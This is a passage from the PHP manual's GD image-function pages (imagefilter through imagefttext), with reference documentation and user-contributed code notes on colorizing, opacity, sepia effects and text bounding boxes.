            $nbColors = imagecolorstotal($imgRes);
            for($i=0; $i<$nbColors; $i++){
                $c = array_values(imgagecolorsforindex($imgRes,$i));
                for($y=0;$y<3;$y++){
                    $c[$y] = max(0, min(255, $c[$y] + ($color[$y]-$luminance) + $brightnessCorrection) ); // parentheses just for better comprehension
                }
                imagecolorset($omgRes,$i,$c[0],$c[1],$c[2]);
            }
        }else{ // much easier with truecolor
            imagefilter($imgRes, IMG_FILTER_COLORIZE, $color[0]-$luminance, $color[1]-$luminance, $color[2]-$luminance);
            imagefilter($imgRes, IMG_FILTER_BRIGHTNESS, $brightnessCorrection);
        }
}
?>

with hope that someone will find this useful
mail at kavisiegel dot com 25-Jun-2009 08:11
Searching for a way to easily change the color of the image, I tried IMG_FILTER_COLORIZE. I was unable to get the quality results I wanted. It turns out PHP's Colorize is the equivalent of Photoshop's "Linear Dodge" layer filter.

Hue adjustments have always worked well for me, so I figured I could try with PHP.
This function is kind of slow on larger images, but on small images like what I'm using it for, the difference is trivial.

The script calculates the ratio or red, to green, to blue in the color provided, then scales the image appropriately... unfortunately, it does it pixel by pixel.

Here's a demo and comparison of this function, to photoshop's hue function, to PHP's colorize. http://img146.imageshack.us/img146/3167/imagefilterhuedemo.png

<?php
function imagefilterhue($im,$r,$g,$b){
    $rgb = $r+$g+$b;
    $col = array($r/$rgb,$b/$rgb,$g/$rgb);
    $height = imagesy($im);
    $width = imagesx($im);
    for($x=0; $x<$width; $x++){
        for($y=0; $y<$height; $y++){
            $rgb = ImageColorAt($im, $x, $y);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            $newR = $r*$col[0] + $g*$col[1] + $b*$col[2];
            $newG = $r*$col[2] + $g*$col[0] + $b*$col[1];
            $newB = $r*$col[1] + $g*$col[2] + $b*$col[0];
            imagesetpixel($im, $x, $y,imagecolorallocate($im, $newR, $newG, $newB));
        }
    }
}
header ("Content-type: image/jpeg");
$im = imagecreatefromjpeg("test.jpg");

// Usage: Just as imagefilter(), except with no filtertype.
// imagefilterhue(resource $image, int $red, int $green , int $blue)
imagefilterhue($im,2,70,188);

// The equivalent with colorize, as tested in demo image: imagefilter($im, IMG_FILTER_COLORIZE, 2, 70, 188);

imagejpeg($im);
?>
aiden dot mail at freemail dot hu 29-Mar-2008 09:16
Function to change the transparency of a png image on the fly. Works only with PNG, and with a browser supporting alpha channel.
The function stretches the opacity-range of the image, so that the most opaque pixel(s) will be set to the given opacity. (Other opacity values in pixels are modified accordingly.)
Returns success or failure.

<?php
function filter_opacity( &$img, $opacity ) //params: image resource id, opacity in percentage (eg. 80)
        {
            if( !isset( $opacity ) )
                { return false; }
            $opacity /= 100;

            //get image width and height
            $w = imagesx( $img );
            $h = imagesy( $img );

            //turn alpha blending off
            imagealphablending( $img, false );

            //find the most opaque pixel in the image (the one with the smallest alpha value)
            $minalpha = 127;
            for( $x = 0; $x < $w; $x++ )
                for( $y = 0; $y < $h; $y++ )
                    {
                        $alpha = ( imagecolorat( $img, $x, $y ) >> 24 ) & 0xFF;
                        if( $alpha < $minalpha )
                            { $minalpha = $alpha; }
                    }

            //loop through image pixels and modify alpha for each
            for( $x = 0; $x < $w; $x++ )
                {
                    for( $y = 0; $y < $h; $y++ )
                        {
                            //get current alpha value (represents the TANSPARENCY!)
                            $colorxy = imagecolorat( $img, $x, $y );
                            $alpha = ( $colorxy >> 24 ) & 0xFF;
                            //calculate new alpha
                            if( $minalpha !== 127 )
                                { $alpha = 127 + 127 * $opacity * ( $alpha - 127 ) / ( 127 - $minalpha ); }
                            else
                                { $alpha += 127 * $opacity; }
                            //get the color index with new alpha
                            $alphacolorxy = imagecolorallocatealpha( $img, ( $colorxy >> 16 ) & 0xFF, ( $colorxy >> 8 ) & 0xFF, $colorxy & 0xFF, $alpha );
                            //set pixel with the new color + opacity
                            if( !imagesetpixel( $img, $x, $y, $alphacolorxy ) )
                                { return false; }
                        }
                }
            return true;
        }
?>

Example for use:

 <?php
  $image = imagecreatefrompng( "img.png" );
  filter_opacity( $image, 75 );
  header( "content-type: image/png" );
  imagepng( $image );
  imagedestroy( $image );
?>
michaeln no at spam associationsplus ca 21-Nov-2007 05:11
Note: applying IMG_FILTER_EMBOSS to text and using in a customization to the CAPTCHA image script in phpBB or a project of your own is a very good way to stop OCR-ing bots from getting through. Embossed serif fonts are fairly easy for the human eye to understand but to an OCR script it is extremely difficult because it seems to give it the illusion of 3D.

If you only allocate 2 or 3 colours in the image, it uses the background colour alot in the embossed text, which greatly contributes to this.

I made my own custom CAPTCHA script to stop phpBB post spam for a client site I was developing and I have gone from getting 2-3 new spam users created every day to zero.

Anything with the source code freely available out there right now is possible to be defeated by spammers once one of them stars sharing code with the other spammers, but if you run something at least someone custom, their bots will pass you over.
ssttoo at gmail dot com 13-Nov-2007 09:31
Here's a page that shows the different filters in action
http://www.phpied.com/image-fun-with-php-part-2/
Also shows some quick ways to do sepia.
webmaster at designsbykosi dot info 08-May-2007 09:56
This will only work if you have php5. For php4, you'll have to use the sepia function set webmaster at qudi dot de suggested.
fananf at nerdshack dot com 16-Mar-2007 06:26
If you're looking for fast sepia effect that can be used for on-the-fly thumbnails generation you can't use sophisticated functions. The faster and much better way than described by webmaster at qudi dot de in the note from 31-Jan-2006 is applying colorize filter AFTER grayscale.

<?php

(...)

imagefilter($yourimage, IMG_FILTER_GRAYSCALE); imagefilter($yourimage, IMG_FILTER_COLORIZE, 90, 60, 40);

(...)

?>

I used (90,60,40) for my sepia after couple of tests, however, if you need darker or lighter just check what suits you best.
trucex email over at gmail 14-Feb-2007 09:31
It appears that imagefilter doesn't play nice with apha. If you run an imagefilter on a transparent image it'll return a black image...similar to a lot of Photoshop plugins do.
PanuWorld 14-Jan-2007 03:55
The documentation misses the exact meaning and valid ranges of the arguments for ImageFilter(). According to the 5.2.0 sources the arguments are:
IMG_FILTER_BRIGHTNESS
-255 = min brightness, 0 = no change, +255 = max brightness

IMG_FILTER_CONTRAST
-100 = max contrast, 0 = no change, +100 = min contrast (note the direction!)

IMG_FILTER_COLORIZE
Adds (subtracts) specified RGB values to each pixel. The valid range for each color is -255...+255, not 0...255. The correct order is red, green, blue.
-255 = min, 0 = no change, +255 = max
This has not much to do with IMG_FILTER_GRAYSCALE.

IMG_FILTER_SMOOTH
Applies a 9-cell convolution matrix where center pixel has the weight arg1 and others weight of 1.0. The result is normalized by dividing the sum with arg1 + 8.0 (sum of the matrix).
any float is accepted, large value (in practice: 2048 or more) = no change

ImageFilter seem to return false if the argument(s) are out of range for the chosen filter.
nancy at hypertextdigital dot com 03-Aug-2006 11:16
This routine was just what I was looking for, I wanted web admin users to be able to recolour their uploaded photos (to go with a news item) either a blue tint or sepia to match the appearance of other colours used on the website.

Using a form with a select box containing the RGB values, I can give them the option of either of the two tints or no colourization at all, plus resize their images to the viewing size and a thumbnail image on the fly without having to use any other image editing software.
santibari at fibertel dot com 27-Feb-2006 08:37
A colorize algorithm wich preserves color luminosity (i.e black
will output black, and white will output white).
This works in PHP4 and is great for customizing interfaces
dinamically.

<?php
function colorize($img_src,$img_dest, $r, $g, $b)
{
if(!$im = imagecreatefromgif($img_src))
  return "Could not use image $img_src";

//We will create a monochromatic palette based on
//the input color
//which will go from black to white
//Input color luminosity: this is equivalent to the
//position of the input color in the monochromatic
//palette
$lum_inp=round(255*($r+$g+$b)/765); //765=255*3

//We fill the palette entry with the input color at its
//corresponding position

$pal[$lum_inp]['r']=$r;
$pal[$lum_inp]['g']=$g;
$pal[$lum_inp]['b']=$b;

//Now we complete the palette, first we'll do it to
//the black,and then to the white.

//FROM input to black
//===================
//how many colors between black and input
$steps_to_black=$lum_inp;

//The step size for each component
if($steps_to_black)
 {
 $step_size_red=$r/$steps_to_black;
 $step_size_green=$g/$steps_to_black;
 $step_size_blue=$b/$steps_to_black;
 }

for($i=$steps_to_black;$i>=0;$i--)
 {
 $pal[$steps_to_black-$i]['r']=$r-round($step_size_red*$i);
 $pal[$steps_to_black-$i]['g']=$g-round($step_size_green*$i);
 $pal[$steps_to_black-$i]['b']=$b-round($step_size_blue*$i);
 }

//From input to white:
//===================
//how many colors between input and white
$steps_to_white=255-$lum_inp;

if($steps_to_white)
  {
  $step_size_red=(255-$r)/$steps_to_white;
  $step_size_green=(255-$g)/$steps_to_white;
  $step_size_blue=(255-$b)/$steps_to_white;
  }
 else
  $step_size_red=$step_size_green=$step_size_blue=0;

 //The step size for each component
 for($i=($lum_inp+1);$i<=255;$i++)
  {
  $pal[$i]['r']=$r + round($step_size_red*($i-$lum_inp));
  $pal[$i]['g']=$g + round($step_size_green*($i-$lum_inp));
  $pal[$i]['b']=$b + round($step_size_blue*($i-$lum_inp));
  }
//--- End of palette creation

//Now,let's change the original palette into the one we
//created
for($c = 0; $c < $palette_size; $c++)
 {
 $col = imagecolorsforindex($im, $c);
 $lum_src=round(255*($col['red']+$col['green']
                +$col['blue'])/765);
 $col_out=$pal[$lum_src];
 imagecolorset($im, $c, $col_out['r'],
                                $col_out['g'],
                                $col_out['b']);
 }

 //save the image file
 imagepng($im,$img_dest);
 imagedestroy($im);
}//end function colorize
?>
webmaster at qudi dot de 31-Jan-2006 03:53
for a quick, ok-looking, sepia-effect (also in php4) I just use this little fellow, since a real implementation of sepia was just way too slow.

function pseudosepia(&$im,$percent){
      $sx=imagesx($im);
      $sy=imagesy($im);
      $filter=imagecreatetruecolor($sx,$sy);
      $c=imagecolorallocate($filter,100,50,50);
      imagefilledrectangle($filter,0,0,$sx,$sy,$c);
      imagecopymerge($im,$filter,0,0,0,0,$sx,$sy,$percent);
}
a php user at nowhere dot com 20-Dec-2005 09:48
http://www.hudzilla.org/phpbook/read.php/11_2_15
for more detailed info, and some <i>arg</i> guidelines.
vdepizzol at hotmail dot com 04-Sep-2004 10:36
Examples using imagefilter():

<?php
$im = imagecreatefrompng('dave.png');
if ($im && imagefilter($im, IMG_FILTER_GRAYSCALE)) {
    echo 'Image converted to grayscale.';
    imagepng($im, 'dave.png');
} else {
    echo 'Conversion to grayscale failed.';
}

imagedestroy($im);
?>

/////////////////////////////

<?php
$im = imagecreatefrompng('sean.png');
if ($im && imagefilter($im, IMG_FILTER_BRIGHTNESS, 20)) {
    echo 'Image brightness changed.';
    imagepng($im, 'sean.png');
} else {
    echo 'Image brightness change failed.';
}

imagedestroy($im);
?>

/////////////////////////////

<?php
$im = imagecreatefrompng('philip.png');

/* R, G, B, so 0, 255, 0 is green */
if ($im && imagefilter($im, IMG_FILTER_COLORIZE, 0, 255, 0)) {
    echo 'Image successfully shaded green.';
    imagepng($im, 'philip.png');
} else {
    echo 'Green shading failed.';
}

imagedestroy($im);
?>
kees at tweakers dot net 21-Jul-2004 03:26
From what i have been able to find from this function, it accepts the following arguments:
        IMG_FILTER_NEGATE
        IMG_FILTER_GRAYSCALE
        IMG_FILTER_EDGEDETECT
        IMG_FILTER_GAUSSIAN_BLUR
        IMG_FILTER_SELECTIVE_BLUR
        IMG_FILTER_EMBOSS
        IMG_FILTER_MEAN_REMOVAL

The following arguments need one or more arguments.
        IMG_FILTER_SMOOTH, -1924.124
        IMG_FILTER_COLORIZE, -127.12, -127.98, 127
        IMG_FILTER_CONTRAST, -90
        IMG_FILTER_BRIGHTNESS, 98

I haven't tested them all, the names speak for themselves.


Flips an image using a given mode

  • « imagefilter
  • imagefontheight »
  • PHP Manual
  • GD and Image Functions
  • Flips an image using a given mode

imageflip

(PHP 5 >= 5.5.0)

imageflip — Flips an image using a given mode

Description

bool imageflip ( resource $image , int $mode )

Flips the image image using the given mode.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

mode

Flip mode, this can be one of the IMG_FLIP_* constants:

Constant | Meaning
IMG_FLIP_HORIZONTAL | Flips the image horizontally.
IMG_FLIP_VERTICAL | Flips the image vertically.
IMG_FLIP_BOTH | Flips the image both horizontally and vertically.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Flips an image vertically

This example uses the IMG_FLIP_VERTICAL constant.

<?php
// File
$filename = 'phplogo.png';

// Content type
header('Content-type: image/png');

// Load
$im = imagecreatefrompng($filename);

// Flip it vertically
imageflip($im, IMG_FLIP_VERTICAL);

// Output
imagejpeg($im);
imagedestroy($im);
?>

The above example will output something similar to:

Output of example: Vertically flipped image

Example #2 Flips the image horizontally

This example uses the IMG_FLIP_HORIZONTAL constant.

<?php
// File
$filename = 'phplogo.png';

// Content type
header('Content-type: image/png');

// Load
$im = imagecreatefrompng($filename);

// Flip it horizontally
imageflip($im, IMG_FLIP_HORIZONTAL);

// Output
imagejpeg($im);
imagedestroy($im);
?>

The above example will output something similar to:

Output of example: Horizontally flipped image

Notes

Note: This function is only available if PHP is compiled with the bundled version of the GD library.

User Contributed Notes

There are no user contributed notes for this page.


Get font height

  • « imageflip
  • imagefontwidth »
  • PHP Manual
  • GD and Image Functions
  • Get font height

imagefontheight

(PHP 4, PHP 5)

imagefontheight — Get font height

Description

int imagefontheight ( int $font )

Returns the pixel height of a character in the specified font.

Parameters

font

Can be 1, 2, 3, 4, 5 for built-in fonts in latin2 encoding (where higher numbers corresponding to larger fonts) or any of your own font identifiers registered with imageloadfont().

Return Values

Returns the pixel height of the font.

Examples

Example #1 Using imagefontheight() on built-in fonts

<?php
echo 'Font height: ' . imagefontheight(4);
?>

The above example will output something similar to:

Font height: 16

Example #2 Using imagefontheight() together with imageloadfont()

<?php
// Load a .gdf font
$font = imageloadfont('anonymous.gdf');

echo 'Font height: ' . imagefontheight($font);
?>

The above example will output something similar to:

Font height: 43

See Also

  • imagefontwidth() - Get font width
  • imageloadfont() - Load a new font

User Contributed Notes

dev at numist dot net 25-Jan-2005 12:47
This library function is very useful for variable-sized images that only contain text, like this function that I use to output error messages that accumulate and cause a fatal error in my thumbnailer:

<?php
function errimg($error) {
   // $error is an array of error messages, each taking up one line
   // initialization
   $font_size = 2;
   $text_width = imagefontwidth($font_size);
   $text_height = imagefontheight($font_size);
   $width = 0;
   // the height of the image will be the number of items in $error
   $height = count($error);

   // this gets the length of the longest string, in characters to determine
   // the width of the output image
   for($x = 0; $x < count($error); $x++) {
      if(strlen($error[$x]) > $width) {
         $width = strlen($error[$x]);
      }
   }

   // next we turn the height and width into pixel values
   $width = $width * $text_width;
   $height = $height * $text_height;

   // create image with dimensions to fit text, plus two extra rows and
   // two extra columns for border
   $im = imagecreatetruecolor($width + ( 2 * $text_width ),
                              $height + ( 2 * $text_height ) );
   if($im) {
      // image creation success
      $text_color = imagecolorallocate($im, 233, 14, 91);
      // this loop outputs the error message to the image
      for($x = 0; $x < count($error); $x++) {
         // imagestring(image, font, x, y, msg, color);
         imagestring($im, $font_size, $text_width,
                     $text_height + $x * $text_height, $error[$x],
                     $text_color);
      }
      // now, render your image using your favorite image* function
      // (imagejpeg, for instance)
      out($im, array(), $error);
   } else {
      // image creation failed, so just dump the array along with extra error
      $error[] = "Is GD Installed?";
      die(var_dump($error));
   }
}
?>

The function expects an array of error messages to be passed in, and then outputs an image containing the contents of the array.  This is especially useful if your code is contained in an html page that will display rexes if the images do not render correctly.

This function displays the array in image form with index 0 at the top, and the highest index at the bottom.

You have to write out() yourself though, see imagejpeg, imagepng, etc for good ideas on how to write a decent output function.


Get font width

  • « imagefontheight
  • imageftbbox »
  • PHP Manual
  • GD and Image Functions
  • Get font width

imagefontwidth

(PHP 4, PHP 5)

imagefontwidth — Get font width

Description

int imagefontwidth ( int $font )

Returns the pixel width of a character in font.

Parameters

font

Can be 1, 2, 3, 4, 5 for built-in fonts in latin2 encoding (where higher numbers corresponding to larger fonts) or any of your own font identifiers registered with imageloadfont().

Return Values

Returns the pixel width of the font.

Examples

Example #1 Using imagefontwidth() on built-in fonts

<?php
echo 'Font width: ' . imagefontwidth(4);
?>

The above example will output something similar to:

Font width: 8

Example #2 Using imagefontwidth() together with imageloadfont()

<?php
// Load a .gdf font
$font = imageloadfont('anonymous.gdf');

echo 'Font width: ' . imagefontwidth($font);
?>

The above example will output something similar to:

Font width: 23

See Also

  • imagefontheight() - Get font height
  • imageloadfont() - Load a new font

User Contributed Notes

Anonymous 27-Jul-2013 02:18
I've notice that with accented characters (so french !!)
like that:
strlen("câble" * imagefontwidth(FONTSIZE));
this command give a string length bigger than it is in reality
so you have to pass the chain in utf8 decode before

strlen(utf8_decode("câble") * imagefontwidth(FONTSIZE));

that's all (sorry for my english !)
puremango dot co dot uk at gmail dot com 31-Aug-2005 10:26
a function that is faster than ImageFontWidth for certain uses:

<?
function ImageFontWidthByFilename($filename)
{
    $handle = @fopen($font_locations[$i],"r");
    $c_wid = @fread($handle,11);
    @fclose($handle);
    return(ord($c_wid{8})+ord($c_wid{9})+ord($c_wid{10})+ord($c_wid{11}));
}

echo "./font.gdf is ".ImageFontWidthByFilename("./font.gdf")." pixels wide";

?>

reading the widths of 5 different fonts, 500 times, ImageFontWidth took an average of ~0.004 seconds per 5 reads, my function takes ~0.0003 per 5.

The reason is that ImageFontWidth requires a call to ImageLoadFont, but if for some reason you won't need to load the font, just find out the width, this is the function for you :-)

more such wonders at http://puremango.co.uk
dev at numist dot net 25-Jan-2005 12:47
This library function is very useful for variable-sized images that only contain text, like this function that I use to output error messages that accumulate and cause a fatal error in my thumbnailer:

<?php
function errimg($error) {
   // $error is an array of error messages, each taking up one line
   // initialization
   $font_size = 2;
   $text_width = imagefontwidth($font_size);
   $text_height = imagefontheight($font_size);
   $width = 0;
   // the height of the image will be the number of items in $error
   $height = count($error);

   // this gets the length of the longest string, in characters to determine
   // the width of the output image
   for($x = 0; $x < count($error); $x++) {
      if(strlen($error[$x]) > $width) {
         $width = strlen($error[$x]);
      }
   }

   // next we turn the height and width into pixel values
   $width = $width * $text_width;
   $height = $height * $text_height;

   // create image with dimensions to fit text, plus two extra rows and
   // two extra columns for border
   $im = imagecreatetruecolor($width + ( 2 * $text_width ),
                              $height + ( 2 * $text_height ) );
   if($im) {
      // image creation success
      $text_color = imagecolorallocate($im, 233, 14, 91);
      // this loop outputs the error message to the image
      for($x = 0; $x < count($error); $x++) {
         // imagestring(image, font, x, y, msg, color);
         imagestring($im, $font_size, $text_width,
                     $text_height + $x * $text_height, $error[$x],
                     $text_color);
      }
      // now, render your image using your favorite image* function
      // (imagejpeg, for instance)
      out($im, array(), $error);
   } else {
      // image creation failed, so just dump the array along with extra error
      $error[] = "Is GD Installed?";
      die(var_dump($error));
   }
}
?>

The function expects an array of error messages to be passed in, and then outputs an image containing the contents of the array.  This is especially useful if your code is contained in an html page that will display rexes if the images do not render correctly.

This function displays the array in image form with index 0 at the top, and the highest index at the bottom.

You have to write out() yourself though, see imagejpeg, imagepng, etc for good ideas on how to write a decent output function.


Give the bounding box of a text using fonts via freetype2

  • « imagefontwidth
  • imagefttext »
  • PHP Manual
  • GD and Image Functions
  • Give the bounding box of a text using fonts via freetype2

imageftbbox

(PHP 4 >= 4.0.7, PHP 5)

imageftbbox — Give the bounding box of a text using fonts via freetype2

Description

array imageftbbox ( float $size , float $angle , string $fontfile , string $text [, array $extrainfo ] )

This function calculates and returns the bounding box in pixels for a FreeType text.

Parameters

size

The font size. Depending on your version of GD, this should be specified as the pixel size (GD1) or point size (GD2).

angle

Angle in degrees in which text will be measured.

fontfile

The name of the TrueType font file (can be a URL). Depending on which version of the GD library that PHP is using, it may attempt to search for files that do not begin with a leading '/' by appending '.ttf' to the filename and searching along a library-defined font path.

text

The string to be measured.

extrainfo

Possible array indexes for extrainfo
Key | Type | Meaning
linespacing | float | Defines drawing linespacing

Return Values

imageftbbox() returns an array with 8 elements representing four points making the bounding box of the text:

0 | lower left corner, X position
1 | lower left corner, Y position
2 | lower right corner, X position
3 | lower right corner, Y position
4 | upper right corner, X position
5 | upper right corner, Y position
6 | upper left corner, X position
7 | upper left corner, Y position

The points are relative to the text regardless of the angle, so "upper left" means in the top left-hand corner seeing the text horizontally.

Examples

Example #1 imageftbbox() example

<?php
// Create a 300x150 image
$im = imagecreatetruecolor(300, 150);
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);

// Set the background to be white
imagefilledrectangle($im, 0, 0, 299, 299, $white);

// Path to our font file
$font = './arial.ttf';

// First we create our bounding box
$bbox = imageftbbox(10, 0, $font, 'The PHP Documentation Group');

// This is our cordinates for X and Y
$x = $bbox[0] + (imagesx($im) / 2) - ($bbox[4] / 2) - 5;
$y = $bbox[1] + (imagesy($im) / 2) - ($bbox[5] / 2) - 5;

imagefttext($im, 10, 0, $x, $y, $black, $font, 'The PHP Documentation Group');

// Output to browser
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

Note: This function is only available if PHP is compiled with freetype support (--with-freetype-dir=DIR )

User Contributed Notes

Johan 19-Nov-2007 04:38
For alignment i used this method:

if($align == "center" || $align == "right")
    {
        $verticaltxtspace = $backwidth - (2 * $posx);
        $spacepositions = imagettfbbox($size, $angle, "fonts/verdanaz.ttf", " ");
        $spacepx = $spacepositions[4] - $spacepositions[0];

        // Split text in lines
        $lines = split("[\r][\n]", $text);
        for($count = 0; $count < count($lines); $count++)
        {
            $textpositions = imagettfbbox($size, $angle, "fonts/verdanaz.ttf", $lines[$count]);
            $textpx = $textpositions[2] - $textpositions[0];

            if($align == "right")
            {
                $spaces = ($verticaltxtspace - $textpx) / $spacepx;
            }
            else if($align == "center")
            {
                $spaces = (($verticaltxtspace - $textpx)/2) / $spacepx;
            }

            // Add spaces
            $line = $lines[$count];
            for($i = 0; $i < $spaces; $i++)
            {
                $line = " " . $line;
            }
            $lines[$count] = $line;
        }

        // Create new text of lines
        $text = "";
        for($count = 0; $count < count($lines); $count++)
        {
            $text .= $lines[$count] . "\r\n";
        }
    }

    //    Draw the shadow text on de shadow
    imagettftext($background, $size, $angle, $posx, $posy, $textcolor, "fonts/verdanaz.ttf",  $text);
theo v e -2 28-Dec-2005 04:10
ah... the problem between imageftbbox() and imagefttext() lies in the mirroring of the y-axes.
Below you see, for a font-size 16 the boudingboxes of "b", "p" and "bp":
< b: w=9 h=15
b(0,-1)
b(9,-1)
b(9,-16)
b(0,-16)
< p: w=9 h=16
p(0,4)
p(9,4)
p(9,-12)
p(0,-12)
< bp: w=20 h=20
bp(0,4)
bp(20,4)
bp(20,-16)
bp(0,-16)
If drawing "bp" using imagefttext() at y=0, the the top of "bp" indeed is at y=-16, and the bottom of "bp" at y=4. (Plus or minus a pixel here and there, because at y=0 there actually is a vissible pixel.)
fernando 14-Jul-2005 10:20
imagettfbbox() returns an array with 8 elements representing four points making the bounding box of the text:

0 lower left corner, X position
1 lower left corner, Y position
2 lower right corner, X position
3 lower right corner, Y position
4 upper right corner, X position
5 upper right corner, Y position
6 upper left corner, X position
7 upper left corner, Y position

The points are relative to the text regardless of the angle, so "upper left" means in the top left-hand corner seeing the text horizontally.
groomed at users dot sf dot net 27-May-2004 09:38
ImageFTBBox returns a bounding box, not metrics, as some (most?) of the notes above seem to assume. The 8 values it returns specify the 4 corners of this bounding box. So to properly determine the width and height of a string you need to do:

$bbox = ImageFTBBox(...);
$width = abs($bbox[0]) + abs($bbox[2]); // distance from left to right
$height = abs($bbox[1]) + abs($bbox[5]); // distance from top to bottom
sectionthirty1 at yahoo dot com 22-Apr-2004 11:50
Here is a handy example I used to center "dynamic text" onto an image.

Ex. Say you want to center a clients IP Address onto a picture.

$ip=$_SERVER['REMOTE_ADDR'];

$details = imageftbbox($fontsize, 0, $font, $ip, array("linespacing" => 1));

$xcoord = ($imgwidth - $details[4]) / 2;  // this will return the x coordinate centered to your specific image.  Make sure  you set $imgwidth to the width of the image you are using.

imagettftext($image, $fontsize, 0, $xcoord, $ycoord, $fontcolor, $font, $ip);
Brian at PrintsMadeEasy dot com 07-Mar-2003 04:54
I noticed that PHP's True Type functions do not allow you to create text blocks with multiple lines that automatically adjust for alignment.  I wrote a function that will allow you to generate images with multiple lines, control the alignment, and handle rotation.  I hope it helps someone.

There was too much code to paste on this message post so you can grab it off of my webserver.  I also created an example page so that you can see the code in action.

Example Page:
http://www.PrintsMadeEasy.com/code_samples/php/text_generation.php

Download the Text file:
http://www.PrintsMadeEasy.com /code_samples/php/text_generation.txt
ta at NOSPAM dot magicsquare dot info 06-Sep-2002 06:37
i've found a work around for this situation

it seems that height is directly proportional to line spacing so you just have to apply the same factor to image height

for example :

$spacing = 0.7;
$params = array("linespacing" => $spacing);

$box = imageftbbox ($size, 0, $font, $text, $params);
$tw=$box[4]-$box[0]; //image width
$th=($box[1]-$box[5])*$spacing; //image height
phpimageftbbox at juggernaut dot com dot au 15-May-2002 06:56
This function can be used to generate right-aligned text. Just work out how wide the text image is and position it accordingly. Example:

$i_width  = 200;
$i_height = 40;

$string = "Hello World!";
$pointsize = 10;
$fontfile = "/usr/local/lib/ttf/Helve.ttf";

$im = imagecreate($i_width, $i_height);
$black = imagecolorallocate ($im, 0, 0, 0);
$white = imagecolorallocate ($im, 255, 255, 255);

$string_size = ImageFtBbox($pointsize, 0, $fontfile, $string, array("linespacing" => 1));
$s_width  = $string_size[4];
$s_height = $string_size[5];

ImageFtText($im, $pointsize, 0, $i_width - $s_width - 1,  0 - $s_height, $white, $fontfile, $string, array("linespacing" => 1));

Header ("Content-type: image/png");
ImagePNG ($im);
ImageDestroy ($im);


Write text to the image using fonts using FreeType 2

  • « imageftbbox
  • imagegammacorrect »
  • PHP Manual
  • GD and Image Functions
  • Write text to the image using fonts using FreeType 2

imagefttext

(PHP 4 >= 4.0.7, PHP 5)

imagefttext — Write text to the image using fonts using FreeType 2

Description

array imagefttext ( resource $image , float $size , float $angle , int $x , int $y , int $color , string $fontfile , string $text [, array $extrainfo ] )

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

size

The font size to use in points.

angle

The angle in degrees, with 0 degrees being left-to-right reading text. Higher values represent a counter-clockwise rotation. For example, a value of 90 would result in bottom-to-top reading text.

x

The coordinates given by x and y will define the basepoint of the first character (roughly the lower-left corner of the character). This is different from the imagestring(), where x and y define the upper-left corner of the first character. For example, "top left" is 0, 0.

y

The y-ordinate. This sets the position of the fonts baseline, not the very bottom of the character.

color

The index of the desired color for the text, see imagecolorexact().

fontfile

The path to the TrueType font you wish to use.

Depending on which version of the GD library PHP is using, when fontfile does not begin with a leading / then .ttf will be appended to the filename and the library will attempt to search for that filename along a library-defined font path.

When using versions of the GD library lower than 2.0.18, a space character, rather than a semicolon, was used as the 'path separator' for different font files. Unintentional use of this feature will result in the warning message: Warning: Could not find/open font. For these affected versions, the only solution is moving the font to a path which does not contain spaces.

In many cases where a font resides in the same directory as the script using it the following trick will alleviate any include problems.

<?php
// Set the enviroment variable for GD
putenv('GDFONTPATH=' . realpath('.'));

// Name the font to be used (note the lack of the .ttf extension)
$font = 'SomeFont';
?>

text

Text to be inserted into image.

extrainfo

Possible array indexes for extrainfo
Key | Type | Meaning
linespacing | float | Defines drawing linespacing

Return Values

This function returns an array defining the four points of the box, starting in the lower left and moving counter-clockwise:

0 | lower left x-coordinate
1 | lower left y-coordinate
2 | lower right x-coordinate
3 | lower right y-coordinate
4 | upper right x-coordinate
5 | upper right y-coordinate
6 | upper left x-coordinate
7 | upper left y-coordinate

Examples

Example #1 imagefttext() example

<?php
// Create a 300x100 image
$im = imagecreatetruecolor(300, 100);
$red = imagecolorallocate($im, 0xFF, 0x00, 0x00);
$black = imagecolorallocate($im, 0x00, 0x00, 0x00);

// Make the background red
imagefilledrectangle($im, 0, 0, 299, 99, $red);

// Path to our ttf font file
$font_file = './arial.ttf';

// Draw the text 'PHP Manual' using font size 13
imagefttext($im, 13, 0, 105, 55, $black, $font_file, 'PHP Manual');

// Output image to the browser
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

Note: This function is only available if PHP is compiled with freetype support (--with-freetype-dir=DIR )

User Contributed Notes

php@davehirschD0TK0MM 07-Jun-2010 09:47
I'm not sure if this is a PHP issue or an GD issue, but after upgrading to PHP 5.3.2, text written at an angle has become top-justified (so "N" and "n" have the same top, but the bottom of the "N" is lower than the bottom of the "n".  I've written a kludgy work-around, which writes the text to a non-rotated temporary image, then copies the temporary image, rotated onto the main image.  The kludginess is to get around the fact that I can't seem to extract the font info, particularly the distance between the baseline and the very bottom (I've hard-coded it as 30% of the font size)
I hope the bug can be fixed (if it is indeed a bug) or that others can improve this code:

<?php
    // Function that draws rotated text by creating a temporary image and rotating it, since rotated text appears to be busted
    function imageTextRotated($image, $size, $angle, $x, $y, $inColor, $fontfile, $text, $info=array()) {
//        Force some demo text that contains risers and descenders:
//        $text = "Nlfbacejygq!";

        $bbox = imageftbbox($size, 0, $fontfile, $text, $info);
        $dropdown = $size*0.3;
        $xsize = abs($bbox[2] - $bbox[0]);
        $ysize = abs($bbox[5] - $bbox[3]);
        $tmpImage = imagecreatetruecolor($xsize*1.25, $ysize*1.25);        // need the extra space to accommodate risers and descenders
        $transparent = imagecolorallocate($tmpImage, 255, 255, 154);
        if (!$transparent) {
            error_log("Color allocate failed");
        }
        imagecolortransparent($tmpImage, $transparent);
        if (!imagefill($tmpImage, 0, $ysize, $transparent)) {
            error_log("Fill failed");
        }
        $rgb = imagecolorsforindex($image, $inColor);
        $color = imagecolorexact($tmpImage, $rgb['red'], $rgb['green'], $rgb['blue']);
        if ($color == -1) {
            $color = imagecolorallocate($tmpImage, $rgb['red'], $rgb['green'], $rgb['blue']);
            if (!$color) {
                error_log("Color allocate 2 failed");
            }
        }

        $newbbox = imagefttext($tmpImage, $size, 0, 0, $ysize*1.0, $color, $fontfile, $text, $info);
